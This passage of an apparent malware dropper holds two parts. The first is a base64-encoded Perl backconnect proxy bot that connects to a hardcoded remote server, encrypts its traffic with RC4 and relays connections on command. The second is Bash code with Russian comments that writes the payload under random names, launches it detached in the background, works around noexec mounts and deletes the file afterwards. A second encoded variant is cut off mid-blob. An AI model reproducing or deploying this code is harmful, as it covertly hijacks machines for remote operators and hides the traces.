IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_3dcc6403() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKS